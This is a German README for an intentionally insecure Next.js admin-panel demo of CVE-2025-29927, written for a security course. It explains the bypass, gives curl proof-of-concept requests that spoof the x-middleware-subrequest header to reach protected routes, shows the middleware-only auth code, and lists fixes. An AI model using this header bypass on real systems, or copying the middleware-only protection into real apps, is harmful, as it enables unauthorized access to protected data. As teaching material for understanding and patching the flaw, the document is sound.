Himalaya Tech Admin Panel – CVE-2025-29927 Demo

WARNUNG: Diese Anwendung ist absichtlich unsicher. Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke. NICHT auf einem öffentlichen Server bereitstellen.

Über diese Demo

Diese App demonstriert CVE-2025-29927, eine kritische Authentifizierungs-Bypass-Sicherheitslücke in der Next.js Middleware (CVSS 9.1). Die Anwendung simuliert ein realistisches Admin-Panel eines Unternehmens für die fiktive Firma "Himalaya Tech Pvt. Ltd." – und macht die Auswirkungen des Bypasses visuell deutlich.

Alle gezeigten Mitarbeiterdaten, API-Schlüssel, Datenbank-Zugangsdaten und anderen "sensiblen" Daten sind vollständig fiktiv und simuliert – nur zu Demonstrationszwecken erstellt.

CVE-2025-29927 – Zusammenfassung der Sicherheitslücke

Ursache

Next.js verwendet einen internen HTTP-Header x-middleware-subrequest, um rekursive Middleware-Aufrufe zu verfolgen und Endlosschleifen zu verhindern. In angreifbaren Versionen kann ein Angreifer diesen Header in einer externen Anfrage fälschen. Wenn der Header vorhanden ist und mit der Kennung der Middleware übereinstimmt, überspringt die Next.js-Laufzeit die gesamte Middleware, einschließlich aller darin definierten Authentifizierungslogik.

Auswirkungen

Jede Anwendung, die sich ausschließlich auf middleware.ts zum Schutz von Routen verlässt (ein häufiges und empfohlenes Next.js-Muster), ist verwundbar. Ein nicht authentifizierter Angreifer kann jede geschützte Seite aufrufen, indem er einfach einen HTTP-Header hinzufügt.

Proof of Concept

Normale Anfrage (blockiert – Weiterleitung zu /login)

curl -v http://localhost:3000/admin
# → 307 Weiterleitung zu /login

Bypass-Anfrage (erfolgreich – gibt vollständige Admin-Seite zurück)

curl -v \
  -H "x-middleware-subrequest: middleware" \
  http://localhost:3000/admin

# → 200 OK – vollständiges Admin-Dashboard-HTML zurückgegeben, keine Authentifizierung erforderlich

Zugriff auf verschachtelte geschützte Routen

# Admin-Benutzerseite
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users

# Systemeinstellungen mit "Produktions-Zugangsdaten"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings

Verwendung im Browser (über Burp Suite / Browser-Erweiterung)

Fügen Sie jeder Anfrage an /admin/* den Request-Header x-middleware-subrequest: middleware hinzu, und die Middleware-Prüfung wird übersprungen.

Warum diese App verwundbar ist

middleware.ts ist der einzige Schutzmechanismus:

// middleware.ts
export function middleware(request: NextRequest) {
  if (pathname.startsWith("/admin")) {
    const token = request.cookies.get("auth-token")?.value;
    if (!token || token !== "valid-session-xyz123") {
      return NextResponse.redirect(loginUrl); // ← diese gesamte Funktion wird übersprungen
    }
  }
  return NextResponse.next();
}

Die Seitenkomponenten selbst (z.B. app/admin/page.tsx) enthalten keine Authentifizierungsprüfungen – absichtlich, um reale Anwendungen nachzubilden, die dem reinen Middleware-Schutzmuster folgen.

Einrichtung und Ausführung

Voraussetzungen

• Node.js 18+
• npm oder yarn

Installieren

npm install

Entwicklungsserver starten

npm run dev

Die App ist unter http://localhost:3000 verfügbar.

Routen

*Nur durch Middleware geschützt – durch CVE-2025-29927 umgangen.

Demo-Zugangsdaten (normaler Login-Ablauf)

• E-Mail: [email protected]
• Passwort: Admin@2024

Abhilfemaßnahmen

1. Next.js aktualisieren auf 14.2.30+ oder 15.2.3+.
2. Mehrschichtige Sicherheit: Fügen Sie serverseitige Authentifizierungsprüfungen in Seitenkomponenten/Route-Handlern hinzu, nicht nur in der Middleware. Middleware sollte als UX-Optimierung betrachtet werden, nicht als Sicherheitsgrenze.
3. Entfernen Sie den Header an Ihrem Reverse Proxy/CDN, bevor Anfragen Next.js erreichen.

Haftungsausschluss

Diese Anwendung wird nur zu Bildungszwecken bereitgestellt, insbesondere zur Demonstration der realen Auswirkungen von CVE-2025-29927 im Rahmen eines ethischen Sicherheitskurses. Alle Daten (Mitarbeiterdatensätze, API-Schlüssel, Zugangsdaten) sind vollständig fiktiv. Verwenden Sie diese Demo-Anwendung oder die hier demonstrierten Techniken nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.